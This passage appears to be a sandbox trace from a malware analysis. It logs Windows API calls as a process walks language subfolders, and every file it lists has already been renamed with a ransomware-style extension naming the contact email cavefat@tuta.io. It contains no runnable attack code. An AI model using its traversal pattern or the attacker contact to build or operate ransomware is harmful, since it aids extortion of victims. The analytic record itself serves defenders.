cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.393] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2f42fe6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2f42fe6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2fb57cb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.393] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2f42fe6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2f42fe6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2fb57cb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.393] FindClose (in: hFindFile=0x573668 | out: hFindFile=0x573668) returned 1 [0224.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.394] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0224.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.394] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573828 [0224.394] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.394] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa309a3c4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa309a3c4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa309a3c4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.394] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa309a3c4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa309a3c4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa309a3c4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.394] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2fdb921, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2fdb921, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2fdb921, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.395] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2fdb921, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2fdb921, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2fdb921, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.395] FindClose (in: hFindFile=0x573828 | out: hFindFile=0x573828) returned 1 [0224.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.396] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0224.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.397] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5736e8 [0224.439] FindNextFileW (in: hFindFile=0x5736e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.439] FindNextFileW (in: hFindFile=0x5736e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3348f38, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3348f38, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa336f12a, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.439] FindNextFileW (in: hFindFile=0x5736e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa336f12a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa336f12a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa336f12a, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.439] FindNextFileW (in: hFindFile=0x5736e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2fdb921, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2fdb921, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3001bb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.439] FindNextFileW (in: hFindFile=0x5736e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2fdb921, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2fdb921, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3001bb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.439] FindClose (in: hFindFile=0x5736e8 | out: hFindFile=0x5736e8) returned 1 [0224.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.440] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0224.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.440] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573668 [0224.442] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.442] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa33954ba, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa33954ba, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33954ba, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.442] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa33954ba, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa33954ba, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa36e3a11, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.442] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3001bb6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3001bb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33954ba, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.443] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3001bb6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3001bb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33954ba, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.443] FindClose (in: hFindFile=0x573668 | out: hFindFile=0x573668) returned 1 [0224.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.443] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0224.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.443] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573228 [0224.445] FindNextFileW (in: hFindFile=0x573228, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.445] FindNextFileW (in: hFindFile=0x573228, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3453eec, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3453eec, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3453eec, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.445] FindNextFileW (in: hFindFile=0x573228, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3453eec, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3453eec, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3453eec, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.446] FindNextFileW (in: hFindFile=0x573228, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3001bb6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3001bb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3001bb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.446] FindNextFileW (in: hFindFile=0x573228, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3001bb6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3001bb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3001bb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.446] FindClose (in: hFindFile=0x573228 | out: hFindFile=0x573228) returned 1 [0224.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.446] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0224.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.446] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573828 [0224.448] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.448] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa347a744, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa347a744, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa347a744, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.448] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa347a744, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa347a744, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34a0371, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.448] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3027d3a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3027d3a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3027d3a, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.448] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3027d3a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3027d3a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3027d3a, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.448] FindClose (in: hFindFile=0x573828 | out: hFindFile=0x573828) returned 1 [0224.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.449] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0224.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.449] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573668 [0224.450] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.450] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa34a0371, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa34a0371, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3808c2a, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.450] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa355f02e, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa355f02e, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa355f02e, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.450] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, 